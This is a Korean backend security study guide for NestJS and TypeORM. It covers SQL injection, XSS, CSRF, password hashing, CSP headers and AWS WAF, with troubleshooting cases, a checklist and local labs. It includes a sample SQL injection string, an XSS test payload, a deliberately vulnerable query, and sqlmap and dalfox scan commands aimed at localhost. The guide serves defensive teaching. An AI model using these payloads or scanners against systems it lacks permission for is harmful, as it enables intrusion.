A01: Broken Access ControlCSRF, 인증/인가
A02: Security Misconfigurationhelmet, CORS 설정
A03: Software Supply Chain Failures (신규)npm 패키지 보안, 이미지 스캔
A04: Cryptographic FailuresHashing & Salting
A05: Injection (XSS 포함)SQL Injection, XSS 섹션
A07: Authentication Failures인증/인가 (auth-vs-authz 문서 참조)

BackOps 환경에서 직접 마주치는 상황들:

[SQL Injection] 운영팀이 사용하는 내부 어드민 툴도 예외가 아니다. 어드민이라서 검증이 느슨한 경우가 많고, 오히려 더 강력한 권한을 가진 쿼리가 실행되므로 TypeORM 파라미터 바인딩을 항상 적용한다.

[XSS] 사용자가 직접 입력한 텍스트를 화면에 렌더링하는 경우 (댓글, 설명 필드 등) 프론트엔드 팀과 함께 XSS 대응을 논의해야 한다. 백엔드에서는 helmet으로 CSP 헤더를 설정하고, 필요 시 응답 데이터에서 HTML 특수문자를 이스케이프 처리한다.

[CSRF] 쿠키 기반 인증을 사용하는 경우 SameSite=Lax 이상을 적용한다. JWT + Authorization 헤더 방식이라면 CSRF 취약점 자체가 발생하지 않는다.

[Hashing] 사용자 패스워드를 저장하는 테이블이 있다면 bcrypt(saltRounds=12)를 최소 기준으로 적용한다. MD5나 SHA-256으로 패스워드를 저장하는 레거시 코드가 있다면 즉시 마이그레이션해야 한다.

[DDoS/AWS] AWS 환경에서 서비스를 운영하면 Shield Standard는 무료로 자동 적용된다. 서비스 규모가 커지면 WAF Rate Limiting 룰을 ALB에 연결하는 것을 검토한다.


인증 방식과 보안 취약점의 관계

섹션 제목: “인증 방식과 보안 취약점의 관계”
인증 방식CSRF 위험XSS 위험권장
쿠키 기반 세션높음 (SameSite 필수)HttpOnly 쿠키로 완화서버 사이드 렌더링
JWT (LocalStorage 저장)없음높음 (XSS로 토큰 탈취 가능)❌ 비권장
JWT (HttpOnly 쿠키 저장)낮음 (SameSite Lax)없음 (JS 접근 불가)✅ SPA 권장
알고리즘2025년 권장도이유
MD5❌ 즉시 교체충돌 취약, 너무 빠름
SHA-256❌ 패스워드 저장 금지너무 빠름, Salt 없음
BCrypt✅ (레거시 유지)안정적, 검증된 라이브러리
Argon2id✅✅ (신규 프로젝트)OWASP 2025 1순위 권장
솔루션L3/L4L7커스텀 룰비용
AWS Shield Standard✅ 자동무료
AWS Shield Advanced$3,000/월
AWS WAF사용량 기반
Cloudflare WAF플랜별 상이

Case 1: TypeORM createQueryBuilder에서 SQL Injection이 발생한다

  • 증상: 파라미터 바인딩을 사용한다고 생각했는데 실제로는 동작하지 않음. 공격 문자열이 그대로 쿼리에 들어감.
  • 원인: .where(\email = ’${email}’`)` 형태의 템플릿 리터럴을 직접 사용한 경우. 문자열 보간은 파라미터 바인딩과 다르다.
  • 해결: .where('user.email = :email', { email }) 형태의 Named Parameter 방식으로 교체. 또는 createQueryBuilder 대신 findOne({ where: { email } })를 사용한다.
// ❌ 잘못된 방법
.where(`user.email = '${email}'`)
// ✅ 올바른 방법
.where('user.email = :email', { email })

Case 2: helmet을 설정했는데 프론트엔드 JS/CSS 리소스가 로드되지 않는다

  • 증상: 배포 후 화면이 하얗게 뜨거나, 브라우저 콘솔에 CSP 위반 오류가 출력됨.
    • Refused to load the script '...' because it violates the following Content Security Policy directive: "script-src 'self'"
  • 원인: helmet의 기본 CSP 설정이 CDN이나 외부 스크립트를 차단. React/Vue 빌드 산출물이 인라인 스크립트를 포함하는 경우에도 발생.
  • 해결: CSP 디렉티브에 허용할 도메인을 명시적으로 추가한다.
app.use(
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.jsdelivr.net"], // CDN 추가
styleSrc: ["'self'", "'unsafe-inline'"],
},
},
}),
);

Case 3: CORS 설정을 했는데 CSRF 공격이 막히지 않는다

  • 증상: CORS를 설정했으니 외부 사이트에서의 요청이 차단될 것이라 생각했는데, CSRF 공격 시나리오가 여전히 동작함.
  • 원인: CORS는 브라우저의 JavaScript 코드가 다른 출처의 응답을 읽는 것을 막는 정책이다. HTML 폼의 submit이나 <img src="...">로 발생하는 요청은 CORS 적용 대상이 아니다.
  • 해결: CORS는 CSRF 방어책이 아니다. CSRF 방어는 별도로 SameSite 쿠키 설정 또는 CSRF 토큰을 사용해야 한다.
정책막을 수 있는 것막을 수 없는 것
CORSJS fetch/XHR의 응답 읽기HTML 폼 submit, 이미지/스크립트 요청
SameSite 쿠키외부 사이트에서 보내는 요청에 쿠키 첨부-
CSRF 토큰유효한 토큰 없는 상태 변경 요청-

Case 4: bcrypt.hash()가 너무 느려서 로그인 API 응답이 느리다

  • 증상: 로그인 엔드포인트 응답 시간이 500ms~2초 이상 걸림.
  • 원인: saltRounds 값이 너무 높게 설정되어 있음 (예: 14~16). 또는 서버 CPU 성능이 낮음.
  • 해결: saltRounds=12를 기준으로 실제 서버 환경에서 벤치마크 후 조정한다. 목표는 200~500ms 내 완료. NestJS에서는 bcrypt.hash()가 CPU 집약적이므로 Worker Thread 또는 별도 서비스로 분리도 고려한다.
// 실행 시간 측정
const start = Date.now();
await bcrypt.hash("password", 12);
console.log(`saltRounds=12: ${Date.now() - start}ms`);
// 보통 100~300ms. 500ms 초과 시 saltRounds 낮추기 검토

Case 5: AWS WAF Rate Limiting을 걸었는데 정상 사용자가 차단된다

  • 증상: 특정 IP의 사용자가 갑자기 429 Too Many Requests를 받음.
  • 원인: 기업 망처럼 여러 사용자가 동일한 NAT IP를 공유하는 경우, 하나의 IP에서 여러 사용자의 요청이 집계되어 한계를 초과.
  • 해결: Rate Limiting 기준을 IP 단독이 아닌 IP + User-Agent 조합 또는 로그인 사용자는 JWT 기반으로 별도 계산한다. 또는 Rate Limit 임계값을 상향하고 로그인 엔드포인트 등 민감한 경로에만 낮은 임계값을 적용한다.

코드 작성 시

  • TypeORM 쿼리에 문자열 보간(템플릿 리터럴) 대신 파라미터 바인딩을 사용했는가?
  • Raw 쿼리 사용 시 두 번째 인자로 파라미터 배열을 전달했는가?
  • DTO에 class-validator 데코레이터로 입력 유효성 검사를 적용했는가?
  • ValidationPipewhitelist: true를 설정했는가?
  • 패스워드 저장 시 bcrypt(saltRounds>=12) 또는 argon2id를 사용했는가?
  • MD5, SHA-256으로 패스워드를 저장하는 코드가 없는가?

인프라/설정

  • helmet() 미들웨어가 main.ts에 적용되어 있는가?
  • CORS의 origin 설정이 와일드카드(*)가 아닌 특정 도메인인가?
  • 쿠키에 httpOnly: true, secure: true, sameSite: 'lax' 이상이 설정되어 있는가?
  • API에 Rate Limiting이 적용되어 있는가?
  • 프로덕션 환경에서 HTTPS가 강제 적용되고 있는가?
  • AWS WAF가 ALB/CloudFront에 연결되어 있는가? (프로덕션 필수)

배포 전 보안 점검

  • 에러 응답에 스택 트레이스나 내부 DB 정보가 노출되지 않는가?
  • 환경 변수(DB 패스워드, JWT Secret 등)가 코드에 하드코딩되어 있지 않은가?
  • .env 파일이 .gitignore에 포함되어 있는가?

SQL Injection Parameterized Query XSS Stored XSS Reflected XSS DOM XSS CSP Content Security Policy unsafe-inline unsafe-eval helmet CSRF SameSite Cookie CSRF Token MITM TLS HTTPS 인증서 CA DDoS SYN Flood L3/L4/L7 AWS Shield AWS WAF Rate Limiting bcrypt 72바이트 truncation Argon2id Salt Stretching OWASP Top 10 OWASP ASVS ValidationPipe class-validator Input Validation Trust Boundary Least Privilege Defense in Depth



실습 1: 취약한 쿼리 vs 안전한 쿼리 비교

로컬 NestJS 프로젝트에서 두 가지 쿼리 방식을 직접 작성하고, TypeORM의 실제 로그를 확인한다.

// TypeORM 로깅 활성화 (ormconfig 또는 DataSource 옵션)
// logging: true 설정 후, 아래 두 쿼리를 실행하고 실제 SQL 로그를 비교
// 1번: 취약한 방식으로 실행 후 로그 확인
const email = "test@test.com' OR '1'='1";
// → 로그에 공격 문자열이 SQL에 직접 포함됨
// 2번: 안전한 방식으로 실행 후 로그 확인
// → 로그에 $1 파라미터로 분리되어 있음

실습 2: bcrypt 해시 생성 및 시간 측정

import * as bcrypt from "bcrypt";
async function benchmark() {
for (const rounds of [10, 12, 14]) {
const start = Date.now();
await bcrypt.hash("testPassword123!", rounds);
console.log(`saltRounds=${rounds}: ${Date.now() - start}ms`);
}
}
benchmark();
// 예상 출력:
// saltRounds=10: ~80ms
// saltRounds=12: ~300ms
// saltRounds=14: ~1200ms
// → 서버 환경에 맞게 200~500ms 범위의 rounds 선택

실습 3: helmet 헤더 확인

Terminal window
# 로컬 NestJS 서버에 helmet 적용 전/후 응답 헤더 비교
curl -I http://localhost:3000/
# helmet 적용 후 다음 헤더들이 추가되어야 함:
# Content-Security-Policy: ...
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY
# Strict-Transport-Security: max-age=15552000; ...

실습 4: SameSite 쿠키 동작 확인

Chrome DevTools > Application > Cookies 탭에서 설정한 쿠키의 SameSite 속성을 직접 확인한다. sameSite: 'lax' 설정 후 외부 사이트에서 폼 submit 요청을 보내면 쿠키가 전송되지 않는 것을 Network 탭에서 확인할 수 있다.

실습 5: npm audit — 의존성 취약점 스캔

Terminal window
# NestJS 프로젝트에서 바로 실행
npm audit
# 예상 출력 (취약점 있을 때):
# found 3 vulnerabilities (1 moderate, 2 high)
# run `npm audit fix` to fix them, or `npm audit` for details
# 예상 출력 (취약점 없을 때):
# found 0 vulnerabilities
# 수정 가능한 것 자동 수정
npm audit fix
# 상세 보고서 확인
npm audit --json | jq '.vulnerabilities | keys'
# 예상 출력: ["express", "lodash", ...]

실습 6: 실제 보안 스캐너로 XSS/SQL Injection 탐지

Terminal window
# DalFox — 오픈소스 XSS 스캐너 (macOS)
brew install dalFox/dalFox/dalfox
# URL 파라미터에 XSS 취약점 있는지 스캔
dalfox url "http://localhost:3000/search?q=test"
# 예상 출력 (취약한 경우):
# [VULN] Reflected XSS: http://localhost:3000/search?q=<script>alert(1)</script>
# [INFO] Found 1 XSS vulnerabilities
# 예상 출력 (안전한 경우):
# [NOTICE] Not Found XSS
Terminal window
# sqlmap — SQL Injection 탐지 도구 (개발 환경에서만 사용)
pip install sqlmap
# 로그인 엔드포인트 테스트
sqlmap -u "http://localhost:3000/users?id=1" --dbs
# 예상 출력 (취약한 경우):
# [INFO] the back-end DBMS is PostgreSQL
# available databases: ['mydb', 'postgres']
# 예상 출력 (안전한 경우):
# [WARNING] all tested parameters do not appear to be injectable

주의: sqlmapdalfox는 반드시 자신이 소유하거나 명시적 허가를 받은 서버에만 사용한다. 타인 서버에 사용하면 불법이다.

실습 7: CSP 헤더 검증 — Google CSP Evaluator 사용

Terminal window
# 현재 CSP 헤더 확인
curl -I http://localhost:3000/ | grep -i content-security-policy
# 예상 출력 (helmet 적용 후):
# content-security-policy: default-src 'self';
# base-uri 'self'; font-src 'self' https: data:;
# form-action 'self'; frame-ancestors 'none';
# img-src 'self' data: https:; object-src 'none';
# script-src 'self'; upgrade-insecure-requests

위 헤더를 https://csp-evaluator.withgoogle.com/ 에 붙여넣으면 보안 수준 평가 및 개선 제안을 받을 수 있다.


웹 보안의 핵심 6가지 공격과 방어를 한 줄로 정리한다:

공격핵심 원인NestJS 방어법
SQL Injection사용자 입력이 SQL로 해석됨TypeORM 파라미터 바인딩 (:param)
XSS사용자 입력이 HTML/JS로 해석됨helmet CSP + 출력 이스케이프
CSRF세션 쿠키가 자동 전송됨SameSite 쿠키 + CSRF 토큰
MITM통신이 평문으로 전달됨HTTPS (TLS) + HSTS
DDoS서버 자원이 가짜 요청으로 고갈AWS Shield + WAF Rate Limiting
취약한 해싱해시가 빠르게 역산됨bcrypt(12+) 또는 Argon2id

가장 중요한 한 가지: 보안은 코드 한 줄로 완성되지 않는다. 입력 검증 → ORM 사용 → 보안 헤더 → 쿠키 설정 → 인프라 방어까지 여러 레이어를 함께 적용해야 실질적인 방어가 된다.